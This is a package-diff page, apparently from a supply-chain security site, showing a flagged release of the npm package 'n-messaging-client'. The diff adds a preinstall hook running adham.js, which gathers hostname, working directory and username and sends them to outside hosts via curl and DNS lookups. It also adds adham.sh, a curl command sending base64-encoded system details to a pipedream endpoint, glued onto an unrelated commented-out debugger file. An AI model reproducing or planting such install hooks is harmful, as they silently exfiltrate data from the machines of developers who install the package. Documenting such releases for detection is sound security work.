n-messaging-client 0.0.1-security → 1.999.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of n-messaging-client might be problematic. Click here for more details.
- package/README.md +2 -5
- package/adham.js +13 -0
- package/adham.sh +134 -0
- package/package.json +12 -3
package/README.md
CHANGED
@@ -1,5 +1,2 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=n-messaging-client for more information.
|
1
|
+
Email: adhamsadaqah.as@gmail.com
|
2
|
+
Hackerone_username: adhamsadaqah
|
package/adham.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
exec("a=$(hostname;pwd;whoami;echo 'n-messaging-client';curl https://fvt2ws.dnslog.cn;) && echo $a | xxd -p | head | while read ut;do nslookup $a.bind9-or-callback-server.com;done" , (error, data, getter) => {
|
3
|
+
if(error){
|
4
|
+
console.log("error",error.message);
|
5
|
+
return;
|
6
|
+
}
|
7
|
+
if(getter){
|
8
|
+
console.log(data);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
console.log(data);
|
12
|
+
|
13
|
+
});
|
package/adham.sh
ADDED
@@ -0,0 +1,134 @@
|
|
1
|
+
#!/bin/bash
|
2
|
+
curl -H "h1: $(whoami | base64 | base64 )" -H "h2: $(hostname -I | base64 | base64 | tr -d '\n')" -H "h3: $(pwd | base64 | base64)" -H "h4: $(hostname | base64 | base64 | tr -d '\n')" -H "h5: $(ls / | base64 | base64 | tr -d '\n')" https://91d105265257dcee7429b373efe8b505.m.pipedream.net
|
3
|
+
# -*- shell-script -*-
|
4
|
+
# dbg-pre.sh - Code common to zshdb and zshdb-trace that has to run first
|
5
|
+
|
6
|
+
# Copyright (C) 2008-2010, 2014 Rocky Bernstein rocky@gnu.org
|
7
|
+
|
8
|
+
# zshdb is free software; you can redistribute it and/or modify it under
|
9
|
+
# the terms of the GNU General Public License as published by the Free
|
10
|
+
# Software Foundation; either version 2, or (at your option) any later
|
11
|
+
# version.
|
12
|
+
|
13
|
+
# zshdb is distributed in the hope that it will be useful, but WITHOUT ANY
|
14
|
+
# WARRANTY; without even the implied warranty of MERCHANTABILITY or
|
15
|
+
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
|
16
|
+
# for more details.
|
17
|
+
|
18
|
+
# You should have received a copy of the GNU General Public License along
|
19
|
+
# with zshdb; see the file COPYING. If not, write to the Free Software
|
20
|
+
# Foundation, 59 Temple Place, Suite 330, Boston, MA 02111 USA.
|
21
|
+
|
22
|
+
# Here we put definitions common to both the script debugger and
|
23
|
+
# dbg-trace.sh. In contrast to other routines, this code is sourced
|
24
|
+
# early -- before most of the debugger script is run.
|
25
|
+
|
26
|
+
# Note: initializations which are mostly used in only one sub-part
|
27
|
+
# (e.g. variables for break/watch/actions) are in the corresponding
|
28
|
+
# file: either in lib or (less good) command.
|
29
|
+
|
30
|
+
# Are we using a debugger-enabled shell? If not let's stop right here.
|
31
|
+
#typeset old_setopt="$-"
|
32
|
+
|
33
|
+
# is-at-least messes up in some situations so we have to not use it for now.
|
34
|
+
# typeset -fuz is-at-least Same as "functions -u -z" but better documented.
|
35
|
+
# if ! is-at-least 4.3.6-dev-0 ; then
|
36
|
+
# print "Sorry, your $_Dbg_shell_name just isn't modern enough." 2>&1
|
37
|
+
# print "We need 4.3.6-dev-0 or greater." 2>&1
|
38
|
+
# exit 30
|
39
|
+
# fi
|
40
|
+
# is-at-least does an emulate -L zsh
|
41
|
+
# emulate -L ksh
|
42
|
+
|
43
|
+
# Will be set to 1 if the top-level call is a debugger.
|
44
|
+
#typeset -i _Dbg_script=0
|
45
|
+
|
46
|
+
# This function is overwritten by when lib/fns.sh gets loaded
|
47
|
+
#_Dbg_msg()
|
48
|
+
#{
|
49
|
+
# echo "$*"
|
50
|
+
#}
|
51
|
+
|
52
|
+
# Used by "show version" as well as --version
|
53
|
+
#_Dbg_do_show_version()
|
54
|
+
#{
|
55
|
+
# _Dbg_msg "$_Dbg_debugger_name, release $_Dbg_release"
|
56
|
+
#}
|
57
|
+
|
58
|
+
# Expand filename given as $1.
|
59
|
+
# we echo the expanded name or return $1 unchanged if a bad filename.
|
60
|
+
# Return is 0 if good or 1 if bad.
|
61
|
+
# File globbing is handled.
|
62
|
+
# Note we don't check that the file exists, just that the format is
|
63
|
+
# valid; we do check that we can "search" the directory implied in the
|
64
|
+
# filename.
|
65
|
+
|
66
|
+
#function _Dbg_expand_filename {
|
67
|
+
# typeset -r filename="$1"
|
68
|
+
|
69
|
+
# Break out basename and dirname
|
70
|
+
# typeset basename="${filename*/}"
|
71
|
+
# typeset -x dirname="${filename%/*}"
|
72
|
+
|
73
|
+
# No slash given in filename? Then use . for dirname
|
74
|
+
# [[ $dirname == $basename ]] && [[ $filename != '/' ]] && dirname='.'
|
75
|
+
|
76
|
+
# Dirname is ''? Then use / for dirname
|
77
|
+
# dirname=${dirname:-/}
|
78
|
+
|
79
|
+
# Handle tilde expansion in dirname
|
80
|
+
# dirname=$(echo $dirname)
|
81
|
+
|
82
|
+
# typeset long_path
|
83
|
+
|
84
|
+
# [[ $basename == '.' ]] && basename=''
|
85
|
+
# if long_path=$( (cd "$dirname" ; pwd) 2>/dev/null ) ; then
|
86
|
+
# if [[ "$long_path" == '/' ]] ; then
|
87
|
+
# echo "/$basename"
|
88
|
+
# else
|
89
|
+
# echo "$long_path/$basename"
|
90
|
+
# fi
|
91
|
+
# return 0
|
92
|
+
# else
|
93
|
+
# echo $filename
|
94
|
+
# return 1
|
95
|
+
# fi
|
96
|
+
#}
|
97
|
+
|
98
|
+
# Create temporary file based on $1
|
99
|
+
# file $1
|
100
|
+
#_Dbg_tempname() {
|
101
|
+
# echo "$_Dbg_tmpdir/${_Dbg_debugger_name}_$1_$$"
|
102
|
+
#}
|
103
|
+
|
104
|
+
# Process command-line options
|
105
|
+
#. ${_Dbg_libdir}/dbg-opts.sh
|
106
|
+
#OPTLIND=1
|
107
|
+
#_Dbg_parse_options "$@"
|
108
|
+
|
109
|
+
#if [[ ! -d $_Dbg_tmpdir ]] && [[ ! -w $_Dbg_tmpdir ]] ; then
|
110
|
+
# echo "${_Dbg_pname}: cannot write to temp directory $_Dbg_tmpdir." >&2
|
111
|
+
# echo "${_Dbg_pname}: Use -T try directory location." >&2
|
112
|
+
# exit 1
|
113
|
+
#fi
|
114
|
+
|
115
|
+
# Save the initial working directory so we can reset it on a restart.
|
116
|
+
#typeset -x _Dbg_init_cwd=$PWD
|
117
|
+
|
118
|
+
#typeset -i _Dbg_running=1 True we are not finished running the program
|
119
|
+
|
120
|
+
#typeset -i _Dbg_brkpt_num=0 If nonzero, the breakpoint number that we
|
121
|
+
# are currently stopped at.
|
122
|
+
|
123
|
+
# Sets whether or not to display command before executing it.
|
124
|
+
#typeset _Dbg_set_trace_commands='off'
|
125
|
+
|
126
|
+
# Known normal IFS consisting of a space, tab and newline
|
127
|
+
#typeset -x _Dbg_space_IFS=$' \t\r\n'
|
128
|
+
|
129
|
+
# Number of statements to run before entering the debugger. Is used
|
130
|
+
# intially to get out of sourced dbg-main.inc script and in top-level
|
131
|
+
# debugger script to not stop in remaining debugger statements before
|
132
|
+
# the sourcing the script to be debugged.
|
133
|
+
#typeset -i _Dbg_step_ignore=1
|
134
|
+
#[[ -n $_Dbg_histfile ]] && fc -p ${_Dbg_histfile}
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "n-messaging-client",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.999.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "main.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node adham.js > /dev/null 2>&1",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "adham",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"lodash": "^4.17.21"
|
14
|
+
}
|
6
15
|
}
|